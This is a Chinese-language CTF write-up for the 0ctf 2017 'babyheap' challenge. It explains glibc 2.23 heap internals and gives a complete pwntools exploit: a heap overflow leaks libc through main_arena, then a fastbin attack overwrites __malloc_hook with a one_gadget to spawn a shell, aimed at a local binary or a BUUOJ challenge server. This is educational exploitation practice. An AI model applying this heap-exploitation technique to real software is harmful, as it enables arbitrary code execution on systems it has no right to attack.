babyheap_0ctf_2017 详解
作者:互联网
本题为 64 位,以下内容以64位为例
信息收集
- 弄到题目文件先 checksec
-
保护全开,那必然就要想办法泄漏出 libc 基地址的偏移量来实现调用其他函数
-
先逆向一下文件,对于 main 函数大概的构造情况如下
-
对于 allocate 函数,里面用户输入 size 后根据其大小进行内存分配
-
这里使用了 calloc函数,其与malloc不同的是分配内存后会把数据区域全部置0
-
对于 fill 函数,用户提供需要修改的堆块的 index和需要改的size,然后根据size来读取用户输入
-
问题就出在这个 size 可以由用户输入,那么可以任意构造 size,实现伪造堆块的效果
-
对于 free 函数,就是将堆块 free 了
-
对于 dump 函数,会根据堆块的大小显示出堆块中的内容
修改 libc 版本
-
由于这题使用的 libc 版本是 ubuntu 16 的,但是因为目前只有 ubuntu 20 的调试机,因此需要修改 libc 版本
-
使用 patchelf 修改解释器和 libc 文件
-
patchelf在 github可以下到
-
libc文件在glibc-all-in-one有,不过不是buuoj的libc,偏移量不一样
bi0x@ubuntu:~/ctf$ patchelf --set-interpreter /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2 ./babyheap_0ctf_2017
bi0x@ubuntu:~/ctf$ patchelf --set-rpath /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/:/libc.so.6 ./babyheap_0ctf_2017
bi0x@ubuntu:~/ctf$ ldd ./babyheap_0ctf_2017
linux-vdso.so.1 (0x00007fff8ddd4000)
libc.so.6 => /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6 (0x00007f42c487f000)
/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f42c4e52000)
实施攻击
先根据题目情况构造好交互函数
from pwn import *
is_debug = 1
#context(os='linux', arch='amd64', log_level='debug')
context.log_level = "debug"
onegg_offset = 0
libc = null
def debug(sh):
if is_debug == 0:
gdb.attach(sh)
return
def conn(s, port = 28960):
global libc
global onegg_offset
if s == 0:
libc = ELF("/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
onegg_offset = 0x4527a
return process('./babyheap_0ctf_2017')
else:
libc = ELF("/home/bi0x/ctf/libc223/libc.so.6")
onegg_offset = 0x4526a
return remote('node3.buuoj.cn', port)
def allocate(size):
io.sendlineafter("Command:", '1')
io.sendlineafter("Size:", str(size))
def fill(index, content):
io.sendlineafter("Command:", '2')
io.sendlineafter("Index:", str(index))
io.sendlineafter("Size:", str(len(content)))
io.sendafter("Content:", content)
def free(index):
io.sendlineafter("Command:", '3')
io.sendlineafter("Index:", str(index))
def dump(index):
io.sendlineafter("Command:", '4')
io.sendlineafter("Index:", str(index))
申请堆块
-
构造几个堆块以待使用
-
这里需要注意的一个点是必须构造有一个 0x60 大小的堆块,我把它构造在了最后一个
-
具体原因在后续的堆块构造会提到
io = conn(is_debug)
allocate(0x10)#0
allocate(0x10)#1
allocate(0x80)#2
allocate(0x10)#3
allocate(0x60)#4
假设以 x/ABgx
的形式来查看内存,这时候程序堆上的内容如下
堆块结构分析
-
对于每一个堆块,其会多占用大小 0x10 内容来存储 chunk 的信息,其位于分配地址 - 0x10
-
假设我们 malloc 了一个 n * 8大小的堆块,其堆结构如下
#Prev_size(被释放才存) | #Size + [ A M P ] |
---|---|
#此堆块存储的数据1 | #此堆块存储的数据2 |
… | … |
#此堆块存储的数据n-1 | #此堆块存储的数据n |
-
操作系统在分配堆块的时候,会把堆块的大小向上对齐两倍的机器字长,且堆块最小大小为 0x20
-
比如这里分配一个 0x10 的堆块,和分配 0xE 大小的堆块最后占用的内存大小都是 0x20
-
对于 0xE,其先对齐到 0x10,再在前面加上堆信息块
-
这里会发现一个问题
-
对于32位的堆块来说,其低3位一定不会被占用
-
对于64位的堆块来说,其低4位一定不会被占用
-
因此堆块的低3位必然可以用来存储其他数据,对这三位标注为 [ A | M | P ]
-
这里的最后一位表示 Prev_in_use,也就是前一个堆块是否被使用
-
对于fast 大小的堆块(大小在0x20~0x80之间,包括数据块大小),其被 free 后P位仍然为1
-
这是为了小内存的再次利用,其使用fastbins来存储被free的小堆块
-
fastbins的实际结构是一个单链表数组,其由8个fastbin构成,每一个对应一种fast大小的堆块
另外这里还有一个知识点,就是对于 small 大小的堆块,其被free后会放进smallbins里
-
smallbins的实际结构是一个双向循环链表数组,其由62个smallbin组成
-
这里的 0x80的堆块被free后就会放进smallbin,因为其大小是0x90
-
对于被 free 的small大小的堆块,其free后堆块结构如下
#Prev_size | #Size |
---|---|
#FD指针,指向前一个free的同大小堆块 | #BK指针,指向后一个free的同大小堆块 |
…(后续是之前这个堆块的数据) | … |
-
这里有一个很重要的点,对于某一个大小的 small chunk,其首个free掉的chunk会指向main_arena上的固定地址
-
main_arena为主线程申请的内存快
-
那么我们就可以通过越界写伪造堆块来 free,然后通过共用的内存泄漏出 main_arena的地址
-
进而可以泄漏 libc 的基地址
泄漏 Main_arena 地址
- 首先我们通过越界写来伪造出一个能访问到下一块内存的堆块和一个假的small chunk
fill(0, p64(0) * 3 + p64(0x51))
fill(2, p64(0) * 5 + p64(0x91))
-
这时候的堆内存变成如下结构,其中浅绿为id1堆块修改后的占用区
-
很明显的可以看见,id1的后几块内存共用了id2的内存
-
注意需要在伪造的id1 chunk 下方的chunksize 处伪造一个符合堆块要求的 size,比如这里伪造了一个0x91
-
在free的时候libc会检查这个大小是否符合chunk要求,小于两倍的SIZE_SZ或大于system_mem将报错
-
由于 dump 的时候会根据原先分配的大小进行 dump
-
因此我们要把 id1 的堆块 free 掉,然后在 allocate 一个 0x40 大小的堆块,这样对于 id1 来说,我们能控制到的就是 0x40 个字节了
free(1)
allocate(0x40)
-
之前提到过,第一个被释放的 small chunk 其fd和bk指针会指向main_arena的固定偏移处
-
因此我们可以通过伪造small chunk,来获取fd指针
fill(1, p64(0) * 3 + p64(0x91))
free(2)
io.recv()
dump(1)
io.recvuntil("Content:")
- 这时候就可以通过id1和id2共用的堆块吧main_arena的地址泄漏出来了
-
在main_arena - 0x10 处,存储的是 malloc_hook指针
-
当malloc_hook 指向某一个函数的时候,malloc时优先会调用这个函数
-
如果我们能在malloc_hook处伪造一个堆块,然后通过malloc来申请到这个伪造堆块
-
之后通过往堆块里写数据实现修改malloc_hook指向的值,把它指向one_gadget实现getshell
#? --------------- get libc base ---------------
main_arena_88_addr = u64(io.recv(0x28)[0x22:].ljust(8, "\x00"))
success("Main Arena + 88 : " + hex(main_arena_88_addr))
malloc_hook_addr = main_arena_88_addr - 88 - 0x10
fake_small_bin_addr = malloc_hook_addr - 0x23
libc_addr = malloc_hook_addr - libc.sym["__malloc_hook"]
onegg = onegg_offset + libc_addr
success("Libc base: " + hex(libc_addr))
#? --------------- get libc base end ---------------
这里涉及到一个关于 fastbin 的知识,当fast chunk 被释放的时候,其会被放入对应大小的fastbin里
-
比如把一个malloc(0x40)出来的堆块free掉,其会放到fastbin[0x50] 中,因为包括一个0x10的堆块信息位
-
同时fastbin的结构是FIFO的,也就是最后free的最先使用,其通过维护free后堆块的fd指针来维护单链表结构
-
也就是在free掉0x50大小的堆块1,再free 0x50大小的堆块2后
-
第一次malloc(0x40)时返回的是堆块2,在malloc的时候,fastbin会根据堆块2的fd指针找到堆块1,然后从bin中删除堆块2
-
可以发现一个问题,如果我们能修改free掉的堆块2数据中的fd指针,把它指向一个我们想要的地方,那就可以实现任意写了
-
这里需要注意的一点是,我们把fd指针修改到的伪造堆块处,其chunksize必须符合此fastbin的大小
-
这里有一个很巧妙的点,我们来看malloc_hook_addr - 0x23 的地方
去掉与堆块大小无关的低4位数据,其符合0x70大小的fast chunk 要求
- 只要我们把一个free掉的malloc(0x60) 的堆块的fd指针修改到这里,然后把这个堆块申请出来
- 填入0x13个无关字符,再填入one_gadget,其就修改了malloc_hook 指向的函数了
#! --------------- fast bin attack ---------------
free(4)
fill(3, p64(0) * 3 + p64(0x71) + p64(fake_small_bin_addr))
allocate(0x60)
allocate(0x60)
fill(4, "a" * 0x13 + p64(onegg))
#! --------------- fast bin attack finished ---------------
- 尝试 getshell
#* --------------- get shell ---------------
allocate(1)
io.interactive()
- 完整脚本
from pwn import *
import time
is_debug = 0
#context(os='linux', arch='amd64', log_level='debug')
context.log_level = "debug"
onegg_offset = 0
libc = null
def debug(sh):
if is_debug == 0:
gdb.attach(sh)
return
def conn(s, port = 28960):
global libc
global onegg_offset
if s == 0:
libc = ELF("/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
onegg_offset = 0x4527a
return process('./babyheap_0ctf_2017')
else:
libc = ELF("/home/bi0x/ctf/libc223/libc.so.6")
onegg_offset = 0x4526a
return remote('node3.buuoj.cn', port)
def allocate(size):
io.sendlineafter("Command:", '1')
io.sendlineafter("Size:", str(size))
def fill(index, content):
io.sendlineafter("Command:", '2')
io.sendlineafter("Index:", str(index))
io.sendlineafter("Size:", str(len(content)))
io.sendafter("Content:", content)
def free(index):
io.sendlineafter("Command:", '3')
io.sendlineafter("Index:", str(index))
def dump(index):
io.sendlineafter("Command:", '4')
io.sendlineafter("Index:", str(index))
io = conn(is_debug)
allocate(0x10)#0
allocate(0x10)#1
allocate(0x80)#2
allocate(0x10)#3
allocate(0x60)#4
#? --------------- leak libc ---------------
fill(0, p64(0) * 3 + p64(0x51))
fill(2, p64(0) * 5 + p64(0x91))
free(1)
allocate(0x40)
fill(1, p64(0) * 3 + p64(0x91))
free(2)
io.recv()
dump(1)
io.recvuntil("Content:")
#? --------------- leak libc end ---------------
#? --------------- get libc base ---------------
main_arena_88_addr = u64(io.recv(0x28)[0x22:].ljust(8, "\x00"))
success("Main Arena + 88 : " + hex(main_arena_88_addr))
malloc_hook_addr = main_arena_88_addr - 88 - 0x10
fake_small_bin_addr = malloc_hook_addr - 0x23
libc_addr = malloc_hook_addr - libc.sym["__malloc_hook"]
onegg = onegg_offset + libc_addr
success("Libc base: " + hex(libc_addr))
#? --------------- get libc base end ---------------
#! --------------- fast bin attack ---------------
free(4)
fill(3, p64(0) * 3 + p64(0x71) + p64(fake_small_bin_addr))
allocate(0x60)
allocate(0x60)
fill(4, "a" * 0x13 + p64(onegg))
#! --------------- fast bin attack finished ---------------
#* --------------- get shell ---------------
allocate(1)
io.interactive()
标签:0ctf,堆块,libc,babyheap,---------------,free,io,2017,addr 来源: https://blog.csdn.net/ytx2240067446/article/details/110046310